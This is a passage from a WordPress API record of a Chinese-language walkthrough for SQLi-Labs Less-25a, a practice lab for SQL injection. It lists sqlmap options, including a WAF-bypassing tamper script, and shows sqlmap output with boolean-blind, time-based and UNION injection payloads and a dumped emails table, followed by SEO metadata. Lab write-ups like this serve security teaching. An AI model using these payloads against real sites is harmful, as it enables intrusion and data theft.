&#034;URL&#034;<\/td>\n<td>\u6307\u5b9a\u6d4b\u8bd5\u76ee\u6807URL<\/td>\n<\/tr>\n<tr>\n<td>&#8211;current-db<\/td>\n<td>\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u540d\u79f0<\/td>\n<\/tr>\n<tr>\n<td>&#8211;batch<\/td>\n<td>\u975e\u4ea4\u4e92\u6a21\u5f0f&#xff0c;\u81ea\u52a8\u9009\u62e9\u9ed8\u8ba4\u9009\u9879<\/td>\n<\/tr>\n<tr>\n<td>&#8211;tamper double_and_or.py<\/td>\n<td>\u4f7f\u7528\u81ea\u5b9a\u4e49tamper\u811a\u672c\u7ed5\u8fc7WAF\u8fc7\u6ee4<\/td>\n<\/tr>\n<tr>\n<td>&#8211;dump<\/td>\n<td>\u5bfc\u51fa\u68c0\u6d4b\u5230\u7684\u6570\u636e<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u5982\u4e0b\u6240\u793a&#xff0c;sqlmap\u6e17\u900f\u6210\u529f&#xff0c;\u53ef\u4ee5\u901a\u8fc7\u8054\u5408\u6ce8\u5165\u6cd5\u3001\u5e03\u5c14\u76f2\u6ce8\u3001\u65f6\u95f4\u76f2\u6ce8\u65b9\u6cd5\u6e17\u900f\u6210\u529f&#xff0c;\u6ce8\u610f\u548c\u6e90\u7801\u5206\u6790\u4e00\u81f4&#xff0c;\u672c\u5173\u5361\u662f\u6570\u503c\u578b\u6ce8\u5165&#xff0c;\u56e0\u4e3a\u4e0d\u663e\u793a\u62a5\u9519\u4fe1\u606f&#xff0c;\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f\u6210\u529f\u3002\u5177\u4f53\u4fe1\u606f\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>GET parameter &#039;id&#039; is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N<br \/>\nsqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:<br \/>\n&#8212;<br \/>\nParameter: id (GET)<br \/>\n    Type: boolean-based blind<br \/>\n    Title: AND boolean-based blind &#8211; WHERE or HAVING clause<br \/>\n    Payload: id&#061;1 AND 6411&#061;6411<\/p>\n<p>    Type: time-based blind<br \/>\n    Title: MySQL &gt;&#061; 5.0.12 AND time-based blind (query SLEEP)<br \/>\n    Payload: id&#061;1 AND (SELECT 9579 FROM (SELECT(SLEEP(5)))AdVM)<\/p>\n<p>    Type: UNION query<br \/>\n    Title: Generic UNION query (NULL) &#8211; 3 columns<br \/>\n    Payload: id&#061;-5680 UNION ALL SELECT NULL,CONCAT(0x71706a7871,0x517666684c6a5975726c78467a6a5673554b416b7845546e53644976484f716b437658484b774559,0x71626a7a71),NULL&#8211; &#8211;<br \/>\n&#8212;<br \/>\n[02:52:29] [WARNING] changes made by tampering scripts are not included in shown payload content(s)<br \/>\n[02:52:29] [INFO] the back-end DBMS is MySQL<br \/>\nweb application technology: Apache 2.4.39, PHP 5.5.9<br \/>\nback-end DBMS: MySQL &gt;&#061; 5.0.12<br \/>\n[02:52:30] [INFO] fetching current database<br \/>\ncurrent database: &#039;security&#039;<\/p>\n<p>Table: emails<br \/>\n[8 entries]<br \/>\n&#043;&#8212;-&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n| id | email_id               |<br \/>\n&#043;&#8212;-&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n| 1  | Dumb&#064;dhakkan.com       |<br \/>\n| 2  | Angel&#064;iloveu.com       |<br \/>\n| 3  | Dummy&#064;dhakkan.local    |<br \/>\n| 4  | secure&#064;dhakkan.local   |<br \/>\n| 5  | stupid&#064;dhakkan.local   |<br \/>\n| 6  | superman&#064;dhakkan.local |<br \/>\n| 7  | batman&#064;dhakkan.local   |<br \/>\n| 8  | admin&#064;dhakkan.com      |<br \/>\n&#043;&#8212;-&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb541\u6b21\uff0c\u70b9\u8d5e17\u6b21\uff0c\u6536\u85cf9\u6b21\u3002SQLI-LABS \u662f\u4e00\u4e2a\u4e13\u95e8\u4e3a\u5b66\u4e60\u548c\u7ec3\u4e60 SQL \u6ce8\u5165\u6280\u672f\u800c\u8bbe\u8ba1\u7684\u5f00\u6e90\u9776\u573a\u73af\u5883\uff0c\u672c\u5c0f\u8282\u5bf9\u7b2c25a\u5173Less 25a\u57fa\u4e8eGET\u6570\u503c\u578b\u7684SQL\u6ce8\u5165\u5173\u5361\u8fdb\u884c\u6e17\u900f\u5b9e\u6218\uff0c\u8be5\u5173\u5361\u8fc7\u6ee4\u5173\u952e\u5b57and\u548cor\u9632\u6b62SQL\u6ce8\u5165\u653b\u51fb\uff0c\u672c\u5173\u5361\u4e0e25\u5173\u7684\u533a\u522b\u662f\u95ed\u5408\u65b9\u5f0f\u4e0d\u540c\uff0c\u672c\u5173\u5361\u4e3a\u6570\u503c\u578b\u6ce8\u5165\uff0c\u53e6\u5916\u4e00\u4e2a\u533a\u522b\u662f\u672c\u5173\u5361\u4e0d\u518d\u6253\u5370\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f\uff0c\u6545\u800c\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f\u3002<\/p>\n","protected":false},"author":2,"featured_media":49133,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4760,4761,1816,275],"topic":[],"class_list":{"0":"post-49138","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","6":"hentry","7":"category-server","8":"tag-sqli-labs","9":"tag-sql","11":"tag-web"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/49138.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb541\u6b21\uff0c\u70b9\u8d5e17\u6b21\uff0c\u6536\u85cf9\u6b21\u3002SQLI-LABS \u662f\u4e00\u4e2a\u4e13\u95e8\u4e3a\u5b66\u4e60\u548c\u7ec3\u4e60 SQL \u6ce8\u5165\u6280\u672f\u800c\u8bbe\u8ba1\u7684\u5f00\u6e90\u9776\u573a\u73af\u5883\uff0c\u672c\u5c0f\u8282\u5bf9\u7b2c25a\u5173Less 25a\u57fa\u4e8eGET\u6570\u503c\u578b\u7684SQL\u6ce8\u5165\u5173\u5361\u8fdb\u884c\u6e17\u900f\u5b9e\u6218\uff0c\u8be5\u5173\u5361\u8fc7\u6ee4\u5173\u952e\u5b57and\u548cor\u9632\u6b62SQL\u6ce8\u5165\u653b\u51fb\uff0c\u672c\u5173\u5361\u4e0e25\u5173\u7684\u533a\u522b\u662f\u95ed\u5408\u65b9\u5f0f\u4e0d\u540c\uff0c\u672c\u5173\u5361\u4e3a\u6570\u503c\u578b\u6ce8\u5165\uff0c\u53e6\u5916\u4e00\u4e2a\u533a\u522b\u662f\u672c\u5173\u5361\u4e0d\u518d\u6253\u5370\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f\uff0c\u6545\u800c\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/49138.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2025-07-30T08:06:52+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080648-6889d298a9c4d.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/49138.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/49138.html\",\"name\":\"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2025-07-30T08:06:52+00:00\",\"dateModified\":\"2025-07-30T08:06:52+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/49138.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/49138.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/49138.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/49138.html","og_locale":"zh_CN","og_type":"article","og_title":"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb541\u6b21\uff0c\u70b9\u8d5e17\u6b21\uff0c\u6536\u85cf9\u6b21\u3002SQLI-LABS \u662f\u4e00\u4e2a\u4e13\u95e8\u4e3a\u5b66\u4e60\u548c\u7ec3\u4e60 SQL \u6ce8\u5165\u6280\u672f\u800c\u8bbe\u8ba1\u7684\u5f00\u6e90\u9776\u573a\u73af\u5883\uff0c\u672c\u5c0f\u8282\u5bf9\u7b2c25a\u5173Less 25a\u57fa\u4e8eGET\u6570\u503c\u578b\u7684SQL\u6ce8\u5165\u5173\u5361\u8fdb\u884c\u6e17\u900f\u5b9e\u6218\uff0c\u8be5\u5173\u5361\u8fc7\u6ee4\u5173\u952e\u5b57and\u548cor\u9632\u6b62SQL\u6ce8\u5165\u653b\u51fb\uff0c\u672c\u5173\u5361\u4e0e25\u5173\u7684\u533a\u522b\u662f\u95ed\u5408\u65b9\u5f0f\u4e0d\u540c\uff0c\u672c\u5173\u5361\u4e3a\u6570\u503c\u578b\u6ce8\u5165\uff0c\u53e6\u5916\u4e00\u4e2a\u533a\u522b\u662f\u672c\u5173\u5361\u4e0d\u518d\u6253\u5370\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f\uff0c\u6545\u800c\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f\u3002","og_url":"https:\/\/www.wsisp.com\/helps\/49138.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2025-07-30T08:06:52+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080648-6889d298a9c4d.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"5 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/49138.html","url":"https:\/\/www.wsisp.com\/helps\/49138.html","name":"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2025-07-30T08:06:52+00:00","dateModified":"2025-07-30T08:06:52+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/49138.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/49138.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/49138.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5)"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/49138","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=49138"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/49138\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/49133"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=49138"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=49138"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=49138"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=49138"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}